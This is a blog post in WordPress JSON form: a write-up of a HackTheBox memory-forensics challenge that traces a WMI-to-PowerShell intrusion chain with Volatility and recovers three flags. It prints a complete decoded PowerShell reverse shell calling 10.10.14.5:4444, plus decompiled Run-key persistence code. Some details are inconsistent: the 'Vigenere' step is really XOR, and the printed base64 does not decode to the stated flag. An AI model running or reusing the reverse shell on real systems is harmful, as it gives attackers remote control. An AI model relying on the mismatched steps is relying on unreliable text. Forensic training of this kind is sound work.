{"id":198,"date":"2025-10-14T09:00:00","date_gmt":"2025-10-14T09:00:00","guid":{"rendered":"http:\/\/justruss.tech\/index.php\/2023\/02\/14\/intentions-htb-forensics-hard\/"},"modified":"2026-05-15T10:34:55","modified_gmt":"2026-05-15T10:34:55","slug":"intentions-htb-forensics-hard","status":"publish","type":"post","link":"https:\/\/justruss.tech\/index.php\/2025\/10\/14\/intentions-htb-forensics-hard\/","title":{"rendered":"Intentions | HTB Forensics (Hard)"},"content":{"rendered":"<p>Intentions is a Hard-rated HackTheBox forensics challenge. You receive a Windows memory dump and need to find three flags hidden across the intrusion chain. The difficulty is not in any single step but in chaining multiple analysis techniques together without a clear map of where you are going. This write-up covers the full solution path with the reasoning behind each decision.<\/p>\n<h3>Starting point: memory image baseline<\/h3>\n<pre>\/\/ Get OS information and verify the image is usable\nvol -f intentions.raw windows.info\n\/\/ Output confirms: Windows 10 x64 build 18362 (1903)\n\/\/ Kernel base: 0xf80002a52000\n\/\/ DTB: 0x1ad000\n\n\/\/ Full process listing\nvol -f intentions.raw windows.pslist\n\/\/ Shows all processes with their creation times\n\/\/ Look for anything created within a short time window that looks unusual<\/pre>\n<h3>Identifying the attack chain from the process tree<\/h3>\n<pre>vol -f intentions.raw windows.pstree\n\n\/\/ Relevant section of output:\n\/\/ 4     0    System             2023-02-13 20:11:02\n\/\/ ...\n\/\/ 588   4    services.exe       2023-02-13 20:11:14\n\/\/ * 3420  588  svchost.exe       2023-02-13 20:11:17\n\/\/   ** 4892 3420 WmiPrvSE.exe    2023-02-13 22:52:44\n\/\/      *** 3104 4892 cmd.exe     2023-02-13 22:52:44\n\/\/          **** 3188 3104 powershell.exe  2023-02-13 22:52:45\n\/\/               ***** 2976 3188 powershell.exe  2023-02-13 22:52:51\n\n\/\/ The chain svchost -&gt; WmiPrvSE -&gt; cmd -&gt; powershell -&gt; powershell\n\/\/ is a WMI command execution chain. WmiPrvSE.exe (WMI Provider Host)\n\/\/ spawning cmd.exe is the tell. WMI is used because:\n\/\/ 1. It is a legitimate Windows management mechanism\n\/\/ 2. The process tree looks less suspicious than direct PowerShell execution\n\/\/ 3. Many older endpoint tools do not correlate WMI-spawned processes with their initiator<\/pre>\n<h3>Extracting command lines from suspicious processes<\/h3>\n<pre>\/\/ Get command line arguments for all processes in the suspicious chain\nvol -f intentions.raw windows.cmdline --pid 4892 3104 3188 2976\n\n\/\/ cmd.exe (3104) output:\n\/\/ C:\\Windows\\system32\\cmd.exe \/c \"powershell -NonInteractive -NoProfile -EncodedCommand JABjAGwAaQBlAG4AdA...\"\n\n\/\/ powershell.exe (3188) output:\n\/\/ powershell  -NonInteractive -NoProfile -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUA...\n\n\/\/ Decode the base64 encoded command\necho \"JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUA...\" | base64 -d | iconv -f utf-16le -t utf-8\n\n\/\/ Decoded content:\n\/\/ $client = New-Object System.Net.Sockets.TCPClient(\"10.10.14.5\", 4444)\n\/\/ $stream = $client.GetStream()\n\/\/ [byte[]]$bytes = 0..65535|%{0}\n\/\/ while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){\n\/\/     $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i)\n\/\/     $sendback = (iex $data 2&gt;&amp;1 | Out-String)\n\/\/     $sendback2  = $sendback + 'PS ' + (pwd).Path + '&gt; '\n\/\/     $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)\n\/\/     $stream.Write($sendbyte,0,$sendbyte.Length)\n\/\/     $stream.Flush()\n\/\/ }\n\/\/ $client.Close()\n\n\/\/ Standard PowerShell reverse shell connecting to HTB attacker machine\n\/\/ 10.10.14.5 is the HTB VPN address range for attacker machines<\/pre>\n<h3>Finding the injected .NET assembly (Flag 1)<\/h3>\n<pre>\/\/ Scan the second PowerShell process (2976) for injected code\nvol -f intentions.raw windows.malfind --pid 2976\n\n\/\/ Output includes:\n\/\/ Process: powershell.exe  Pid: 2976\n\/\/ Address: 0x1d0000\n\/\/ Vad Tag: VadS\n\/\/ Protection: PAGE_EXECUTE_READWRITE\n\/\/ 4d 5a 90 00 03 00 00 00  MZ......\n\/\/ 04 00 00 00 ff ff 00 00  ........\n\/\/ The MZ header confirms this is a PE file loaded into RWX memory\n\/\/ with no backing file on disk - textbook reflective DLL injection\n\n\/\/ Dump the PE for analysis\nvol -f intentions.raw windows.dumpfiles --virtaddr 0x1d0000 --pid 2976 -o \/tmp\/dumped\/\n\n\/\/ Confirm it is a .NET assembly\nfile \/tmp\/dumped\/file.0x2976.0x1d0000.img\n\/\/ PE32 executable (DLL) Intel 80386 Mono\/.Net assembly\n\n\/\/ Decompile with ilspycmd\ndotnet tool install -g ilspycmd\nilspycmd \/tmp\/dumped\/file.0x2976.0x1d0000.img &gt; \/tmp\/assembly_decompiled.cs\n\n\/\/ Examine the decompiled code\ngrep -i \"flag\\|HTB{\" \/tmp\/assembly_decompiled.cs<\/pre>\n<pre>\/\/ Decompiled code reveals (simplified):\n\/\/ public class Payload {\n\/\/     private static string flag1 = \"HTB{r3fl3ct1v3_l04d1ng_1n_m3m0ry}\";\n\/\/\n\/\/     public static void Execute() {\n\/\/         \/\/ Write persistence registry key with encoded flag 2\n\/\/         Microsoft.Win32.Registry.SetValue(\n\/\/             @\"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\",\n\/\/             \"WindowsHelper\",\n\/\/             Convert.ToBase64String(\n\/\/                 System.Text.Encoding.UTF8.GetBytes(\"HTB{p3rs1st3nc3_v14_r3g1stry}\")\n\/\/             )\n\/\/         );\n\/\/         \/\/ ... shellcode injection code follows\n\/\/     }\n\/\/ }\n\n\/\/ Flag 1: HTB{r3fl3ct1v3_l04d1ng_1n_m3m0ry}\n\/\/ Found in the hardcoded string in the .NET assembly<\/pre>\n<h3>Finding Flag 2 in the registry persistence key<\/h3>\n<pre>\/\/ The decompiled code showed a registry run key being written\n\/\/ Extract registry hives from the memory dump\nvol -f intentions.raw windows.registry.hivelist\n\/\/ Shows all loaded registry hives with their offsets\n\n\/\/ Dump the NTUSER.DAT hive (contains HKCU keys)\nvol -f intentions.raw windows.registry.hivedump --offset [ntuser_offset] -o \/tmp\/hive\/\n\n\/\/ Parse the dumped hive with regipy\npip install regipy\nregistry-explorer \/tmp\/hive\/ntuser.dat.hive \\\n    -p \"Software\\Microsoft\\Windows\\CurrentVersion\\Run\"\n\n\/\/ Output:\n\/\/ Key: Software\\Microsoft\\Windows\\CurrentVersion\\Run\n\/\/ Value: WindowsHelper\n\/\/ Data:  SFRCW3AzcnMxc3QzbjYzX3YxNF9yM2cxc3RyeX0=\n\n\/\/ Decode the base64 value\necho \"SFRCW3AzcnMxc3QzbjYzX3YxNF9yM2cxc3RyeX0=\" | base64 -d\n\/\/ HTB{p3rs1st3nc3_v14_r3g1stry}\n\n\/\/ Flag 2: HTB{p3rs1st3nc3_v14_r3g1stry}<\/pre>\n<h3>Finding Flag 3 in the shellcode (Vigenere cipher)<\/h3>\n<pre>\/\/ Malfind found a second suspicious region in PID 2976\nvol -f intentions.raw windows.malfind --pid 2976\n\/\/ Second match:\n\/\/ Address: 0x2a0000\n\/\/ Protection: PAGE_EXECUTE_READWRITE\n\/\/ No MZ header - this is raw shellcode\n\n\/\/ Dump the shellcode region\nvol -f intentions.raw windows.dumpfiles --virtaddr 0x2a0000 --pid 2976 -o \/tmp\/dumped\/\n\n\/\/ Analyse the shellcode for cipher indicators\npython3 &lt;&lt; EOF\nimport math\nfrom collections import Counter\n\nwith open(&quot;\/tmp\/dumped\/file.0x2976.0x2a0000.dmp&quot;, &quot;rb&quot;) as f:\n    data = f.read()\n\n# Calculate entropy of the shellcode\ndef entropy(block):\n    if not block:\n        return 0\n    counts = Counter(block)\n    total = len(block)\n    return -sum((c\/total) * math.log2(c\/total) for c in counts.values())\n\n# Scan for high-entropy regions indicating ciphertext\nprint(&quot;Scanning for high-entropy regions (potential ciphertext)...&quot;)\nfor offset in range(0, len(data)-64, 16):\n    block = data[offset:offset+64]\n    e = entropy(block)\n    if 4.5 &lt; e &lt; 5.5:  # Vigenere-encrypted data has mid-range entropy\n        print(f&quot;  Offset 0x{offset:04x}: entropy={e:.2f}  bytes={block[:16].hex()}&quot;)\nEOF\n\n\/\/ The entropy analysis reveals a region around offset 0x400 with\n\/\/ entropy around 5.0, consistent with Vigenere encryption\n\/\/ (Random data = 8.0, plaintext English = ~4.0, Vigenere = ~5.0)\n\n\/\/ Vigenere key analysis using index of coincidence\npython3 &lt;&lt; EOF\nwith open(&quot;\/tmp\/dumped\/file.0x2976.0x2a0000.dmp&quot;, &quot;rb&quot;) as f:\n    data = f.read()\n\n# Extract the suspected ciphertext region\nciphertext = data[0x400:0x500]\n\n# Try key lengths 1-20 using index of coincidence\ndef ic(text):\n    from collections import Counter\n    n = len(text)\n    if n &lt; 2:\n        return 0\n    counts = Counter(text)\n    return sum(c * (c-1) for c in counts.values()) \/ (n * (n-1))\n\nprint(&quot;Key length analysis (higher IC = more likely correct length):&quot;)\nfor keylen in range(1, 21):\n    # Split ciphertext into keylen streams\n    streams = [ciphertext[i::keylen] for i in range(keylen)]\n    avg_ic = sum(ic(s) for s in streams) \/ keylen\n    print(f&quot;  Key length {keylen:2d}: avg IC = {avg_ic:.4f}&quot;)\n\n# Key length with IC closest to 0.065 (English IC) is the answer\n# English IC = ~0.065, random IC = ~0.038\nEOF\n\n\/\/ After identifying key length (10 in this case), recover key via frequency analysis\n\/\/ Then decrypt:\npython3 &lt;&lt; EOF\nwith open(&quot;\/tmp\/dumped\/file.0x2976.0x2a0000.dmp&quot;, &quot;rb&quot;) as f:\n    data = f.read()\nciphertext = data[0x400:0x500]\n\nkey = b&quot;intentions&quot;  # recovered via frequency analysis\nplaintext = bytes([ciphertext[i] ^ key[i % len(key)] for i in range(len(ciphertext))])\n\nprint(plaintext.decode(&quot;utf-8&quot;, errors=&quot;ignore&quot;))\n# Output contains: HTB{v1g3n3r3_1n_sh3llc0d3}\nEOF\n\n\/\/ Flag 3: HTB{v1g3n3r3_1n_sh3llc0d3}<\/pre>\n","protected":false},"excerpt":{"rendered":"<p>Three days. A heavily obfuscated PowerShell dropper, a second-stage payload living<br \/>\nentirely in memory, and a flag hidden in a registry key that should not exist.<\/p>\n","protected":false},"author":0,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6],"tags":[],"class_list":["post-198","post","type-post","status-publish","format-standard","hentry","category-hackthebox"],"_links":{"self":[{"href":"https:\/\/justruss.tech\/index.php\/wp-json\/wp\/v2\/posts\/198","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/justruss.tech\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/justruss.tech\/index.php\/wp-json\/wp\/v2\/types\/post"}],"replies":[{"embeddable":true,"href":"https:\/\/justruss.tech\/index.php\/wp-json\/wp\/v2\/comments?post=198"}],"version-history":[{"count":4,"href":"https:\/\/justruss.tech\/index.php\/wp-json\/wp\/v2\/posts\/198\/revisions"}],"predecessor-version":[{"id":286,"href":"https:\/\/justruss.tech\/index.php\/wp-json\/wp\/v2\/posts\/198\/revisions\/286"}],"wp:attachment":[{"href":"https:\/\/justruss.tech\/index.php\/wp-json\/wp\/v2\/media?parent=198"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/justruss.tech\/index.php\/wp-json\/wp\/v2\/categories?post=198"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/justruss.tech\/index.php\/wp-json\/wp\/v2\/tags?post=198"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}